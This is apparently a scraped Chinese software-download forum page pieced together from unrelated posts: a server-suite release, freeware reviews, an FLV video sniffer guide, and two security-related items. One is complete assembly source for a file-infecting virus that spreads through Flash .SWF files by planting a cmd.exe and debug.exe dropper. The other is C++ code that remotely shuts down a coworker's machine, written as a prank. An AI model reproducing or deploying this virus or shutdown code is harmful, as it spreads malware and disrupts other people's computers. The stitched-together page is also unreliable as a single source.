
不可抗力因素不能访问的站点都能够轻轻松松的进行浏览了。相比@无&界@和@自&由#门@,它的速度还是比较快的,并且没有浏览器种类的限制。
XmiServer_v2.4.2 ASP+CGI+PHP+JSP+MySQL 全能服务器套件发布!
软件名称:XmiServer_v2.4.2
软件版本:v2.4.2
软件授权:免费软件
使用平台:WinNT/XP/2000/2003
下载地址:
1. XmiServer_v2.4.2 ASP+CGI+PHP+JSP+MySQL 全能服务器套件.rar (0 Byte , 下载:285次) (推荐!高速下载!)
2. http://pickup.mofile.com/cn/index.do (MoFile) 请在左上角输入文件提取码: 6376342876538358 (有时效!!!)
简介:
XmiServer_v2.4是一款基于Apache+Tomcat的全能服务器套件,
拥有安装简单、便捷、绿色、免配置等特点,
可以快速搭建 ASP+CGI+PHP+JSP+MySQL 全能网站服务器平台,
方便您调试和开发ASP、CGI、PHP、JSP 等程序。
目录简要说明:
XmiServer
├─Links 各组件快捷链接
├─Server 程序主目录
│ ├─Apache Apache程序目录
│ ├─Database MySQL 数据库目录
│ │ ├─Database_MySQL5 MySQL5 数据库目录
│ │ └─Database_MySQL4 MySQL4 数据库目录
│ ├─JAVA JAVA程序目录
│ ├─MySQL4 MySQL4 程序目录
│ ├─MySQL5 MySQL5 程序目录
│ ├─PHP PHP程序目录
│ ├─phpMyAdmin phpMyAdmin目录
│ ├─TempLogs 临时文件及日志文件目录
│ ├─Tomcat Tomcat程序目录
│ └─Zend Zend Optimizer 程序目录
└─wwwRoot 虚拟主机网站根目录
├─asp ASP程序目录
├─cgi-bin CGI程序目录
└─webapps JSP程序目录
使用程序版本:
Apache v2.2.4
Tomcat v5.5.20
Netbox v2.8.4128
PHP v5.2.0
MySQL5 v5.0.27
MySQL4 v4.0
MiniPerl v5.8
JDK v1.5.0_07
Zend v3.2.0
phpMyAdmin v2.9.1.1
SWF/LFM-926 Virus:
; ------------------
; Description: WinNT/XP Virus dropper for Flash .SWF files!
; Masm Version 6.11: ML.EXE SWF.ASM
; Virus Size: 926 bytes
; Infection Size: 3247 bytes.
; Last Edit: 01/08/2002
; --------------------------------- Begin Source Code ------------------------------------
.286
.model tiny
.code
org 100h
Entry: jmp Start
VIR_SIZE equ Virus_End-Entry
DTA db 128 dup(0) ; Offset DTA+30 = filename
HANDLE dw ? ; Handle to host file
PTR1 dd 0 ; Segment address of the created memory block
PATH db "*.SWF",0 ; File mask
BINARY db "v.com",0 ; Binary code
HEX db "0123456789ABCDEF" ; Binary to hex
; Flash header block.
; -------------------
SIGN_FW dw ? ; SWF file format
SIGN_S db ?
VERSION_NUM db ?
FILE_LENGTH dw ?
dw ?
STATIC_HDR_SIZE equ $-SIGN_FW
RECT_BUF db 20 dup(0) ; Header length is variable because the RECT region isnt static. ;(
RECT_BUF_SIZE equ $-RECT_BUF
HDR_SIZE dw ? ; Holds the true header size!
; Start of Viral Frame 0.
; -----------------------
Drop_BEGIN db 03fh,003h ; DoAction Tag(12) long format. Learn the bytecodes!
TAG_LENGTH dw 0 ; (ACTION LENGTH+3)+1[END_TAG]
dw 0
db 083h ; ActionGetUrl Tag
ACTION_LENGTH dw 0 ; (Drop_BEGIN_SIZE-9)+(SUM OF Drop_MIDDLE)+(Drop_END_SIZE)
db FSCommand:exec
db 000h
db cmd.exe
db 009h ; chr(9) is Flash code for a space character.
db /c
db 009h
db echo
db 009h
db Loading.Flash.Movie...
db &
db (echo
db 009h
db n
db 009h
db v.com&echo
db 009h
db a
db 009h
db 100&
Drop_BEGIN_SIZE equ $-Drop_BEGIN
Drop_MIDDLE db echo
db 009h
db db
db 009h
db 71 dup(,) ; db XX,...,XX where XXs are viral hex codes.
db &
Drop_MIDDLE_SIZE equ $-Drop_MIDDLE
Drop_END db &echo.&echo
db 009h
db rcx&echo
db 009h
db 39E ; Define hex 39E (VIR_SIZE) as a string. Changes if this code changes.
db &echo
db 009h
db w&echo
db 009h
db q)|debug.exe>nul&start
db 009h
db /b
db 009h
db v.com
db 000h ; StringEnd Tag
Drop_END_SIZE equ $-Drop_END
; End of Viral Frame 0.
; ---------------------
END_TAG db 001h ; Action code 0x01 = tagshowframe Tag
Start:
mov ax,(VIR_SIZE+0fh)
shr ax,4
shl ax,1
mov bx,ax ; Allocate (VirusSize*2)
mov ah,4ah
int 21h ; Resize block
jc ExProg
mov dx,offset DTA ; Set DTA operation
mov ah,1ah
int 21h
mov cx,07h
mov dx,offset PATH
mov ah,4eh ; FindFirst
int 21h
jc ExProg
jmp Infect
Cycle:
mov dx,offset PATH
mov ah,4fh ; FindNext
int 21h
jc ExProg
jmp Infect
ExProg:
mov ax,4301h ; Hide v.com
mov cx,02h
mov dx,offset BINARY
int 21h
mov ax,4c00h ; End program
int 21h
Infect:
mov byte ptr DTA[30+12],$
mov dx,offset (DTA+30)
mov ax,3d02h ; Open host file
int 21h
jc ExProg
mov [HANDLE],ax ; Save file handle
mov ax,3f00h ; Read file Header
mov dx,offset SIGN_FW
mov bx,[HANDLE]
mov cx,(STATIC_HDR_SIZE+RECT_BUF_SIZE)
int 21h
jc ExProg
cmp word ptr SIGN_FW,WF ; Check for a valid Flash SWF file.
jne Cycle ; Try another file ...
cmp byte ptr SIGN_S,S
jne Cycle
cmp byte ptr VERSION_NUM,099h ; Already infected?
je Cycle
mov cx,RECT_BUF_SIZE ; Search for the SetBackgroundColor Tag.
xor di,di ; Seems to always exist directly after the header.
next: cmp byte ptr RECT_BUF[di],043h
jne not_found
cmp byte ptr RECT_BUF[di+1],002h
jne not_found
jmp found
not_found:
inc di
loop next
jmp Cycle
found:
mov word ptr HDR_SIZE,STATIC_HDR_SIZE
add word ptr HDR_SIZE,di ; Compute the header size
mov ax,4200h ; Reset file ptr right after Flash header
xor cx,cx
mov dx,[HDR_SIZE]
int 21h
jc ExProg
push bx
mov ax,word ptr FILE_LENGTH
add ax,15
shr ax,4
mov bx,ax
mov ah,48h ; Allocate memory for target host file
int 21h
pop bx
jc ExProg
mov word ptr PTR1[2],ax ; Save pointer to allocated block
mov cx,word ptr FILE_LENGTH
sub cx,[HDR_SIZE]
mov ah,3fh ; Read host file into memory block
push ds
lds dx,[PTR1]
int 21h
pop ds
jc ExProg
mov ax,4200h ; Reset file ptr to the middle code section
xor cx,cx
mov dx,[HDR_SIZE]
add dx,Drop_BEGIN_SIZE
int 21h
jc ExProg
;
; The following code is a key technique. It simply converts the
; virus from binary to hex characters and then inserts them into the host
; using a standard format that DEBUG.EXE expects! Flash only really
; allows plain text, so this satisfies that condition.
;
mov word ptr ACTION_LENGTH,(Drop_BEGIN_SIZE-9+Drop_END_SIZE)
push bx
mov cx,VIR_SIZE
xor si,si
xor di,di
ToHex:
mov bx,offset HEX ; Convert 8-bit binary number to a string representing a hex humber
mov al,byte ptr Entry[si]
mov ah,al
and al,00001111y
xlat
mov Drop_MIDDLE[STATIC_HDR_SIZE+di+1],al
shr ax,12
xlat
mov Drop_MIDDLE[STATIC_HDR_SIZE+di],al
inc si
inc di
inc di
inc di
mov ax,si
mov bl,24 ; Debug.exe can handle at most 24 defined bytes on 1 line.
div bl
or ah,ah
jnz cont
push cx
xor di,di
add word ptr ACTION_LENGTH,Drop_MIDDLE_SIZE
mov bx,[HANDLE] ; Write hex dump entry XX,...,XX
mov dx,offset Drop_MIDDLE
mov cx,Drop_MIDDLE_SIZE
mov ax,4000h
int 21h
jc ExProg
pop cx
cont:
loop ToHex
pop bx
or di,di
jz no_remainder
mov dx,offset Drop_MIDDLE
mov cx,di
add cx,7 ; STATIC_HDR_SIZE-1
add word ptr ACTION_LENGTH,cx
mov ax,4000h ; Write remainder hex dump entry XX,...,XX
int 21h
jc ExProg
no_remainder:
mov dx,offset Drop_END
mov cx,Drop_END_SIZE+1
mov ax,4000h ; Write end code and end of frame tag(01) into host
int 21h
jc ExProg
mov cx,word ptr FILE_LENGTH
sub cx,[HDR_SIZE]
mov ax,4000h ; Write host code directly after viral code.
push ds
lds dx,[PTR1]
int 21h
pop ds
jc ExProg
; Patch the header with new viral values.
mov cx,word ptr ACTION_LENGTH
add cx,4
mov word ptr TAG_LENGTH,cx
add cx,6
add word ptr FILE_LENGTH,cx ; Total file size increase = (TAG_LENGTH+6)
; Set infection marker
mov byte ptr VERSION_NUM,099h
mov di,[HDR_SIZE]
inc word ptr [SIGN_FW+di-2] ; Increase Frame count by 1
mov ax,4200h ; Re-wind to start of file
xor cx,cx
xor dx,dx
int 21h
jc ExProg
mov dx,offset SIGN_FW
mov cx,[HDR_SIZE]
mov ax,4000h ; Write updated viral header
int 21h
jc ExProg
mov dx,offset Drop_BEGIN
mov cx,Drop_BEGIN_SIZE
mov ax,4000h ; Write begin code into host
int 21h
jc ExProg
mov ah,49h ; Free memory block
mov es,word ptr PTR1[2]
int 21h
jc ExProg
mov ax,3e00h ; Close file
int 21h
jc ExProg
jmp Cycle ; DONE! Try to infect another.
Virus_End:
end Entry
被复仇天说后,重新看了下文件,感觉有点问题 ,特重新更改标题。
以上内容只供学习、研究使用,如果利用其来搞破坏或者是做些违法的事情。
记得刚学C++的时候,喜欢研究API,当时同事有一个高手,写了段代码,我在写程序的时候,莫明妙的,机器突然关掉了!我正在纳闷的时候,我听到了他的奸笑! 原来是他干的,后来我研究了好久InitiateSystemShutdown这个API函数,了解被作弄的原理了,因为我的机器加入了Windows的域,而且域的超级用户我也设置成对我本机有Administrator权限,所以,他才有机可乘!后来写了以下这段代码,让他也在工作的时候被我远程关机,爽啊!学了新东西,又以其人之道还施彼身!
//ShutDownSystem函数是关本地,自己的机器
BOOL CAlarmClockDlg::ShutDownSystem() { HANDLE hToken; TOKEN_PRIVILEGES tkp; // Get a token for this process. if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) AfxMessageBox("OpenProcessToken"); // Get the LUID for the shutdown privilege. LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tkp.PrivilegeCount = 1; // one privilege to set tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // Get the shutdown privilege for this process. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); if(GetLastError()!= ERROR_SUCCESS) AfxMessageBox("AdjustTokenPrivileges"); // Shut down the system and force all applications to close. if(!ExitWindowsEx(EWX_SHUTDOWN|EWX_FORCE, 0)) { return FALSE; } else { return TRUE; } } //shutdownHost这个就是远程关机的C++函数了!hostName可以是机器IP,也可以是机器名字! BOOL CAlarmClockDlg::shutdownHost(CString hostName) { HANDLE hToken; // handle to process token TOKEN_PRIVILEGES tkp; // pointer to token structure BOOL fResult; // system shutdown flag // Get the current process token handle so we can get shutdown // privilege. if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) AfxMessageBox("OpenProcessToken failed."); // Get the LUID for shutdown privilege. LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid); tkp.PrivilegeCount = 1; // one privilege to set tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // Get shutdown privilege for this process. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES) NULL, 0); // Cannot test the return value of AdjustTokenPrivileges. if (GetLastError() != ERROR_SUCCESS) AfxMessageBox("AdjustTokenPrivileges enable failed."); // Display the shutdown dialog box and start the time-out countdown. fResult = InitiateSystemShutdown("192.168.100.245", // shut down local computer "Click on the main window and press the Escape key to cancel shutdown.", // message to user 1, // time-out period FALSE, // ask user to close apps //注意这一段API调用! FALSE); // reboot after shutdown if (!fResult) { AfxMessageBox("InitiateSystemShutdown failed."); } // Disable shutdown privilege. tkp.Privileges[0].Attributes = 0; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES) NULL, 0); if (GetLastError() != ERROR_SUCCESS) { AfxMessageBox("AdjustTokenPrivileges disable failed."); } return TRUE; }
flv 侦测、播放器-----UUmeFLVSpy环境:2000、2003、xp、vista
功能:在线flv视频下载兼播放
播放器界面如下
以上网站大部分都支持!
如何使用?
准备好迅雷、暴风2007和这款软件
1打开六间房,随便点击一个视频,复制地址栏中的地址。
2启动软件,把刚才复制的地址粘贴。如图所示。
3点击开始捕获,软件开始嗅探真实的地址。
4真实地址会在下面的列表中显示,都是flv文件,右击复制。
5启动迅雷,右击悬浮窗----新建下载任务-----确定。一会就能下载完毕了!
6因为该软件自带的播放器不能控制进度,建议大家用暴风2007。开始----程序-----暴风-----暴风综合设置----文件关联----全部视频 如图
说明:
1如果想快速操作,可以在迅雷中添加对flv文件的监视,这样一旦复制了真实地址,只要迅雷启动,就一下子弹出下载窗口。
2下载没有反应了,可以暂停在重新下载。
3对新浪的在线视频也支持的很好。
4软件自带的下载是调动ie下载,比较慢,建议用迅雷。如果你要下载的已经播放完毕,建议用软件自带的下载。其实是把ie缓冲(C:Documents and SettingsAdministratorLocal SettingsTemporary Internet Files)中的文件复制了一份。呵呵。。。。。
5如果你不怕麻烦,也可以自己到ie缓存中寻找!
点击下载:能让您下载土豆、六间房等在线视频的软件.rar (1.3 MB , 下载:20次)
|
* 软件类别:照片编辑
* 目标对手:Turbo Photo
* 当前版本:0.24
* 下载地址:[点击这里]
以前,涉及到数码照片修正时,很多朋友都会想到Turbo Photo。的确,相比同类软件,Turbo Photo在这些方面确实表现不俗。然而,和很多优秀作品一样,Turbo Photo也是一款共享版软件,当使用时间超过了软件限期之后,它便会自动锁定,再也无法打开了。那么,有没有什么免费软件能够拥有类似的功能,替代原来的Turbo Photo呢?别急,也许这款“光影魔术手”就能满足大家的需要。
作为一款照片编辑软件,光影魔术手有很多专门为“问题照片”所设计的功能。像常见的“白平衡不准”、“照片曝光不足”、“人像红眼”等等,均能在侧面板中找到解决方案。而光影魔术手的另一大“特长”,则是为照片添加特效。像能让色彩更加艳丽的“反转片特效”、让人像更加柔和的“柔光镜特效”以及个性化十足的“Lomo风格模拟”等等,都能瞬间让您的照片“光彩重生”,丝毫不逊色于Turbo Photo,如图2所示。
* 软件类别:图片处理
* 目标对手:Photoshop
* 当前版本:2.3.7
* 下载地址:[点击这里]
Photoshop是大家熟知的一款专业级图片处理软件,有着无与伦比的操作灵活性。然而,和很多同级别专业软件一样,Photoshop也是一款共享版工具,而且注册费用十分高昂。那么,除了Photoshop,我们就真的没有其他选择了吗?如果您正在为了这个问题而烦恼,不妨试一试这款GIMP吧。因为,它不仅是一款彻头彻尾的免费软件,而且还被称之为Linux下的Photoshop,专业实力可想而知。
为了让新用户能以最快速度上手,GIMP采用了与Photoshop非常相似的分体式面板设计,甚至就连面板的规划也与Photoshop极为相近。而且,GIMP不仅能够轻松进行各种图层操作,就连专业化程度很高的蒙板功能也完全不在话下。至于图像滤镜嘛,除了数量上略少于Photoshop之外,功能却是毫不逊色。值得一提的是,在这些专业功能之外,GIMP的细节考虑也很到位,像虚拟网格、辅助线这类辅助功能被大量装配其中,能够帮助用户更好地完成工作,如图3所示。
* 软件类别:压缩软件
* 目标对手:WinRAR
* 当前版本:4.42
* 下载地址:[点击这里]
凭借着优异的性能和近95%的市场占有率,WinRAR一直主宰着压缩软件市场。然而,正当别的软件都削尖脑袋准备往“免费”的圈子里跳时,这位老兄却偏偏逆流而上,高调打出了“收费”牌。那么,我们就真的要屈服于WinRAR的收费政策之下吗?答案当然不是,因为,除了WinRAR之外,我们还有一个更好的选择 —— 7-Zip。
打开7-Zip之后,亲切之感油然而生。原来,它的界面与WinRAR极为相似,甚至就连右键菜单也相差无几,相信熟练的用户可以很快上手。而先前令我们担心的兼容性问题也没有出现。在测试中,不仅7-Zip能够轻松地打开.rar压缩包,而且WinRAR也能正确识别.7z压缩包。随后,针对于压缩比率的测试也得出了结果。事实证明,7-Zip的压缩比率仅仅落后于WinRAR几个百分点,但压缩时间却要大大快于WinRAR,总体成绩十分理想,如图4所示。
* 软件类别:截图软件
* 目标对手:SnagIt
* 当前版本:2005 V1.23
* 下载地址:[点击这里]
在截图软件市场上,SnagIt一直占据着领头羊的位置。其实,这个市场同样也不全是它收费软件的“天下”。正像我们今天要给大家介绍的这款“红蜻蜓”,便是免费截图软件之中的代表之作。
由于SnagIt的很多模式都已被用户接受,因此,红蜻蜓在功能设计上并未独出心裁。而是完全参照SnagIt软件,搞了个“精简版本”。不过,虽说功能上略有缩水,但凭借其体积仅为SnagIt 1/6的优势,红蜻蜓在速度方面却完全胜过了对手。因此,如果您只是想实现一些简单的截图工作的话,这款红蜻蜓截屏软件应该是您不错的选择,如图5所示。
* 软件类别:词典软件
* 目标对手:金山词霸
* 当前版本:1.53.0007 Beta
* 下载地址:[点击这里]
如果您以为屏幕取词、语音朗读等功能,还都属于金山词霸的专利的话,那可就大错特错了。因为,下面这款免费词典软件 —— 灵格斯词霸,也能实现同样的功能。
和金山词霸相比,灵格斯词霸在常规功能上并没有与之相差很多。相反,超过60种语言的互查互译、15种语言的全文翻译等等,竟然叫金山词霸都为之惊叹。同时,灵格斯词霸还采用了一种开放式词库管理方式,允许用户根据自己的需要去下载专业词库。这样,不仅词库的内容更具针对性,而且也大大缩小了软件的体积,如图6所示。
* 软件类别:光盘刻录
* 目标对手:Nero
* 当前版本:3.2.0.0
* 下载地址:[点击这里]
很多朋友在第一次看到Burn4Free时,都不相信这是款免费刻录工具。因为,它的界面看上去真的十分专业。而且,不光是界面,Burn4Free的功能设计也很丰富。除了常见的数据光盘刻录、MP3光盘刻录以外,它还能很好地支持ISO光盘映像,轻松地与Nero等专业刻录工具进行数据交换。
而良好的设备兼容性,又保证了它能够支持到市面上绝大多数的CD / DVD光盘。毫不夸张地说,只要您用上一回Burn4Free,就肯定会对它爱不释手了,如图7所示。
* 软件类别:办公软件
* 目标对手:Office
* 当前版本:2005个人版
* 下载地址:[点击这里]
要说目前市场占用率最大的办公软件,恐怕非微软的Office莫属。但凭心而论,我们真的需要这种功能复杂,启动缓慢的大型软件吗?其实,纵观庞大的免费软件市场,其中真的不乏一些精品,比如本文要给大家介绍的这款WPS Office 2005个人版便是其中的点睛之作。
和Office软件所不同的是,WPS Office个人版是金山公司专为个人用户所开发的免费办公软件。它将一些个人用户很难用到的功能彻底从软件中剥离,使软件最终仅有20MB左右的大小。
而且,为了让用户更加容易上手。WPS Office完全仿照了Office 2003的界面风格,甚至就连菜单布局也模仿得丝毫不差。而在兼容性方面,WPS Office可以直接打开或生成Office格式文件,免除了用户的后顾之忧。同时,在保留Office原有优点的同时,WPS Office还实现了多标签文档编辑,直接输出PDF文件等特性。可以说,如果仅仅用作家用的话,这款免费的WPS Office甚至比Office 2003还要出色,如图8所示。
* 软件类别:杀毒软件
* 目标对手:杀毒软件
* 当前版本:7.5.476
* 下载地址:[点击这里]
在论坛上,经常有朋友发帖征求破解版杀毒软件。然而,杀毒软件不比其他,如果不能正常升级,再好的软件都只是摆设。其实,在这个世界上,同样还有一些出色的免费杀毒工具。那么今天,就让我们认识一位来自捷克的“小伙子”吧。
AVG是一款国际上广受好评的杀毒软件,分为专业版和免费版两个版本。但实际上,免费版只是比专业版少了一些无关轻重的功能和24小时技术支持。其余的象病毒查杀、实时监控、邮件监控、计划任务等等一应俱全。而且,令人高兴的是,AVG免费版同样支持病毒库在线更新,而且传输速度也是非常理想。相信,如果您不想在杀毒软件上多作投资的话,AVG就是您的最好选择,如图9所示。
* 软件类别:音乐播放
* 目标对手:Winamp、千千静听
* 当前版本:1.2.2.4
* 下载地址:[点击这里]
Winamp和千千静听是两款非常优秀的歌曲播放软件,但今天要给大家介绍的“酷我音乐盒”则更胜一筹。和同类歌曲播放软件不同,酷我音乐盒很好地将网络的优势与传统音乐播放结合起来。
在“酷我音乐盒”中,我们看到的已经不是一个简单的歌曲播放软件。而是一个集歌曲分类搜索、歌词自动下载、明星照片欣赏、曲库文件管理于一身的音乐管理平台。在酷我里,我们不仅能从分类列表中轻松找出热门歌曲,也可以通过双击鼠标来实现歌曲的快速试听。甚至,当您按捺不住心情,打算一睹明星的风采时,也可以点击“正在播放”标签→“网络图库”按钮快速实现,如图10所示。